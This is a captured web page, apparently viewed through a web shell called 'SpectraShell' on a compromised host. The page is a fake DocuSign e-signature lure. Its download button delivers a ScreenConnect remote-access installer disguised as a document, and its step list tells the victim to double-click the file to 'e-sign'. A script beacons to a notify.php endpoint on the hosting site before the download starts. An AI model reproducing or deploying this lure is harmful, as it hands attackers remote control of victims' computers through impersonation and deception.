🌌 SpectraShell

Current path: home3/wellid62/public_html/ftx/



⬆️ Go up: /home3/wellid62/public_html

📄 Viewing: page.html

<html lang="en"><head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>e-sign</title>
<link rel="shortcut icon" href="https://i.ibb.co/yF35Jv2Q/docu-ico.png" type="image/x-icon">
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&amp;display=swap" rel="stylesheet">
  <style>
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
      font-family: 'Inter', sans-serif;
    }
    body {
      display: flex;
      flex-direction: column;
      align-items: center;
      background-color: #fff;
      color: #111;
      min-height: 100vh;
    }

    /* Upper footer (nav bar) */
    .upper-footer {
      width: 100%;
      background-color: #E9E8FB;
      display: flex;
      justify-content: space-between;
      align-items: center;
      padding: 10px 40px;
      border-bottom: 1px solid #d9d8f1;
    }

    .upper-footer a {
      color: #111;
      text-decoration: none;
      font-size: 0.9rem;
      font-weight: 500;
    }

    .upper-footer .logo-container {
      display: flex;
      align-items: center;
      gap: 10px;
    }

    .upper-footer svg {
      width: 120px;
      height: auto;
    }

    .container {
      display: grid;
      grid-template-columns: 1fr 1fr;
      width: 100%;
      max-width: 1100px;
      align-items: center;
      padding: 40px;
      flex: 1;
    }
    .left img {
      width: 100%;
      border-radius: 8px;
    }
    .right {
      display: flex;
      flex-direction: column;
      gap: 30px;
      justify-content: center;
      padding-left: 40px;
    }
    .right h1 {
      font-size: 2.5rem;
      font-weight: 600;
      line-height: 1.3;
    }
    .button {
      background-color: #2D2DFF;
      color: white;
      padding: 15px 40px;
      border-radius: 10px;
      text-decoration: none;
      font-weight: 600;
      font-size: 1rem;
      width: fit-content;
      transition: background-color 0.3s;
    }
    .button:hover {
      background-color: #1b1bbf;
    }
    .logo {
      width: 160px;
      margin-bottom: 20px;
    }
    footer {
      margin-top: auto;
      padding: 20px;
      width: 100%;
      text-align: center;
      font-size: 0.9rem;
      color: #666;
      border-top: 1px solid #eee;
    }
    .open-button {
            background: transparent;
            border: 1px solid #2D2DFF;
            color: #2D2DFF;
            padding: 12px 30px;
            border-radius: 10px;
            text-decoration: none;
            font-weight: 600;
            font-size: 0.95rem;
            width: fit-content;
            transition: all 0.3s;
            cursor: pointer;
            display: inline-flex;
            align-items: center;
            gap: 8px;
        }

        .open-button:hover {
            background-color: #2D2DFF;
            color: white;
            border-radius: 10px;
            text-decoration: none;
            font-weight: 600;
            font-size: 1rem;
            width: fit-content;
            transition: background-color 0.3s;
        }

        .modal-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.6);
            backdrop-filter: blur(4px);
            z-index: 1000;
            animation: fadeIn 0.3s ease;
        }

        .modal-overlay.active {
            display: flex;
            justify-content: center;
            align-items: center;
        }

        .modal {
            background: white;
            border-radius: 16px;
            padding: 32px;
            max-width: 500px;
            width: 90%;
            position: relative;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3);
            animation: slideUp 0.3s ease;
        }

        .close-button {
            position: absolute;
            top: 16px;
            right: 16px;
            background: #f1f3f5;
            border: none;
            width: 32px;
            height: 32px;
            border-radius: 50%;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 20px;
            color: #495057;
            transition: all 0.2s ease;
        }

        .close-button:hover {
            background: #e9ecef;
            transform: rotate(90deg);
        }

        .modal-content h3 {
          font-size: 1.3rem;
          font-weight: 600;
          color: #34495e;
          margin: 1.5rem 0 1rem;
          text-align: center;
          border: 1px solid #2D2DFF;
          border-radius: 6px;
          padding: 0.5rem;
        }
        
        .modal-content li {
          margin-bottom: .8rem;
        }

      :is(dir, menu, ol, ul) li {
          list-style-position: unset;
      }

      li {
          display: list-item;
          unicode-bidi: isolate;
          list-style-position: inside;
      }

      .modal-content ol {
          color: #636e72;
          font-size: 1rem;
          padding-left: 1.8rem;
          line-height: 1.8;
      }

      ol {
          list-style-type: decimal;
      }

        .modal-actions {
            display: flex;
            gap: 12px;
            justify-content: flex-end;
        }

        .modal-actions button {
            padding: 10px 20px;
            border: none;
            border-radius: 6px;
            font-size: 14px;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.2s ease;
        }

        .btn-secondary {
            background: #e9ecef;
            color: #495057;
        }

        .btn-secondary:hover {
            background: #dee2e6;
        }

        .btn-primary {
            background: #667eea;
            color: white;
        }

        .btn-primary:hover {
            background: #5568d3;
        }
    @media (max-width: 900px) {
      .container {
        grid-template-columns: 1fr;
        text-align: center;
      }
      .right {
        padding-left: 0;
        align-items: center;
      }
      .logo {
        margin: 0 auto;
      }
    }
  </style>
</head>
<body>
  <!-- Full-width upper footer navigation bar -->
  <div class="upper-footer">
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1200 241.4"><g><g><path d="M1169.2,109.7v78.7h-28.9v-73.5c0-17.9-7.7-27.9-22.7-27.9s-24.9,10.5-27.7,28.1c-0.8,4.2-1,10.7-1,24.4v48.8H1060v-125 h25.6c0.1,1.1,0.7,12.3,0.7,13c0,0.9,1.1,1.4,1.8,0.8c10.6-8.4,22.3-16.2,38.6-16.2C1153.5,60.9,1169.2,79,1169.2,109.7z"></path><path d="M1013.4,63.4l-0.9,14.3c-0.1,0.9-1.2,1.4-1.8,0.8c-3.5-3.3-16.4-17.5-38.3-17.5c-31.4,0-54.5,27.1-54.5,63.9l0,0 c0,37.3,22.9,64.5,54.5,64.5c21.1,0,34-13.7,36.4-16.7c0.7-0.8,2-0.3,2,0.7c-0.3,3.8-0.8,13.3-4,21.4c-4,10.2-13,19.7-31.1,19.7 c-14.9,0-28.1-5.7-40.6-17.9L920,217.3c13.7,15.5,35.3,24.2,58.8,24.2c37.8,0,60.5-25.9,60.5-68.2V63.4H1013.4z M978.6,163.2 c-18.7,0-31.9-16.2-31.9-38.3S959.9,87,978.6,87c18.7,0,31.9,15.7,31.9,37.9C1010.4,147.1,997.2,163.2,978.6,163.2z"></path><path d="M857.5,151.3c0,23.7-19.9,39.6-49.1,39.6c-22.9,0-43.3-8.9-55.5-21.6l0,0l0,0l9.5-22.6c9.2,8.3,24,20.2,45.1,20.2 c14.7,0,23.2-6.5,23.2-14.7c0-9.5-11.7-12-25.7-14.7c-19.9-4.2-46.3-11-46.3-38.1c0-22.7,18.4-38.3,45.6-38.3 c20.9,0,38.9,8,51.3,18.4l-14.2,19.9c-12-9.5-24.6-14.2-37.1-14.2s-18.7,5.2-18.7,12.7c0,10.5,13.5,13.2,23.4,15.2 C833.9,117.9,857.5,125.4,857.5,151.3z"></path><path d="M434.9,60.9c-35.3,0-60.7,27.4-60.7,65s25.4,65,60.7,65s60.8-27.4,60.8-65S470.3,60.9,434.9,60.9z M434.9,164.7 c-18.7,0-31.9-15.9-31.9-38.9c0-22.9,12.9-38.9,31.9-38.9c18.9,0,31.9,15.9,31.9,38.9S453.6,164.7,434.9,164.7z"></path><path d="M505.9,125.9c0-37.1,25.4-65,59.3-65c26.9,0,46.6,13.5,55.8,38.9l-25.6,9.7c-7-15.7-16.2-22.4-30.1-22.4 c-17.4,0-30.4,16.4-30.4,38.9c0,22.4,12.9,38.9,30.4,38.9c14,0,23.1-6.7,30.1-22.4l25.6,9.7c-9.2,25.4-28.9,38.9-55.8,38.9 C531.3,190.9,505.9,163,505.9,125.9L505.9,125.9L505.9,125.9L505.9,125.9z"></path><path d="M351.4,5.3c-0.5,0-1.1,0.1-1.6,0.4l-18.8,10c-0.4,0.2-0.6,0.6-0.6,1v59.5c0,1-1.2,1.4-1.9,0.8 c-2.8-2.4-9.3-8.5-18.3-12.7c-4.7-2.2-11.6-3.4-17.9-3.4c-31.6,0-54.5,27.4-54.5,65s22.9,65,54.5,65c16.6,0,29.1-8.7,36.7-16.5 c0.5-0.5,0.8-0.8,1.3-1.3c0.7-0.7,1.9-0.3,1.9,0.7l1,14.6h26.1V6.1c0-0.4-0.3-0.8-0.8-0.8C358.5,5.3,351.4,5.3,351.4,5.3z  M298.5,164.7c-18.9,0-31.9-15.9-31.9-38.9S279.9,87,298.5,87c18.7,0,31.9,15.9,31.9,38.9C330.4,148.8,317.5,164.7,298.5,164.7z"></path><path d="M891.5,63.8l-18.1,9.6c-0.4,0.2-0.6,0.6-0.6,1v114h28.9V64.1c0-0.4-0.3-0.8-0.8-0.8h-7.8C892.5,63.4,892,63.5,891.5,63.8 z"></path><path d="M887.2,43.1c9.6,0,17.4-7.8,17.4-17.4s-7.8-17.4-17.4-17.4c-9.6,0-17.4,7.8-17.4,17.4S877.6,43.1,887.2,43.1z"></path><path d="M742.5,63.3v67.9c0,51.5-28.8,59.6-54.5,59.6s-54.5-8.2-54.5-59.6V63.3h28.8v75.1c0,7.3,1.8,26.3,25.7,26.3 s25.7-18.9,25.7-26.3V63.3H742.5z"></path></g><g><path d="M1185.7,175.6v1.8h-4.1v10.9h-2v-10.9h-4.1v-1.8H1185.7z M1200,188.3h-2v-10l-3.9,7.5h-1.1l-3.9-7.4v9.9h-2v-12.7h2.6 l3.8,7.3l3.8-7.3h2.6L1200,188.3L1200,188.3z"></path></g></g><g><path fill="#4C00FF" d="M139.5,139.5V189c0,2.6-2.1,4.7-4.7,4.7H4.7c-2.6,0-4.7-2.1-4.7-4.7V59c0-2.6,2.1-4.7,4.7-4.7h49.4v80.5 c0,2.6,2.1,4.7,4.7,4.7H139.5L139.5,139.5z"></path><path fill="#FF5252" d="M193.7,69.7c0,41.6-24.3,69.7-54.2,69.8V87.1c0-1.5-0.6-3-1.7-4l-27.2-27.2c-1.1-1.1-2.5-1.7-4-1.7H54.2V4.8 c0-2.6,2.1-4.7,4.7-4.7h73.3C167,0,193.7,28,193.7,69.7z"></path><path d="M137.8,83c1.1,1.1,1.7,2.5,1.7,4v52.4H58.9c-2.6,0-4.7-2.1-4.7-4.7V54.2h52.4c1.5,0,3,0.6,4,1.7L137.8,83z"></path></g></svg>
  </div>

  <!-- Main Content -->
<main id="main-content" class="container">
  <div class="left">
    <img src="/ftx/images/laptop_docusign.png" alt="Laptop showing DocuSign PDF" style="width: 500px; height: auto;">
  </div>

  <div class="right">
    <img class="logo" src="/ftx/images/time.png" alt="Super OS x DocuSign logo">
    <h1>Open the downloaded attachment on your computer</h1>
    <a id="downloadBtn" href="https://silwadidentalcentres4.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest&c=Train%20Company&c=&c=&c=&c=&c=&c=&c=" class="button" download>
      DOWNLOAD
    </a>
    <button class="open-button" onclick="openModal()">How to Open and e-sign</button>

    <div class="modal-overlay" id="modalOverlay" onclick="handleOverlayClick(event)">
        <div class="modal" id="modal">
            <button class="close-button" onclick="closeModal()">&times;</button>
            
              <div class="modal-content">
                <h3>Opening your Document</h3>
                <ol>
                  <li>Click the download button to get the Document file.</li>
                  <li>Find it in your <strong>Downloads</strong> folder.</li>
                  <li>Double-click to launch the Document.</li>
                  <li>Complete e-Sign.</li>
                  <li>e-Signed Successfully</li>
                </ol>
              </div>
            
            <div class="modal-actions">
                <button class="btn-secondary" onclick="closeModal()">Cancel</button>
                <button class="btn-primary" onclick="closeModal()">Got it!</button>
            </div>
        </div>
    </div>
  </div>
</main>

<footer>
  © 2025 DocuSign All rights reserved.
</footer>

<script>
  async function notifyDownloadAndRedirect(event) {
    event.preventDefault();

    try {
      await fetch('https://wellidiomas.com.br/ftx/notify.php', { method: 'POST' });
    } catch (e) {
      console.error('Notification failed:', e);
    }

    setTimeout(() => {
      window.location.href = event.target.href;
    }, 500);
  }

  document.getElementById("downloadBtn").addEventListener("click", notifyDownloadAndRedirect);

  function openModal() {
            document.getElementById('modalOverlay').classList.add('active');
        }

        function closeModal() {
            document.getElementById('modalOverlay').classList.remove('active');
        }

        function handleOverlayClick(event) {
            // Only close if the click was on the overlay itself, not the modal content
            if (event.target === document.getElementById('modalOverlay')) {
                closeModal();
            }
        }

        // Optional: Close modal with Escape key
        document.addEventListener('keydown', function(event) {
            if (event.key === 'Escape') {
                closeModal();
            }
        });
</script>


📁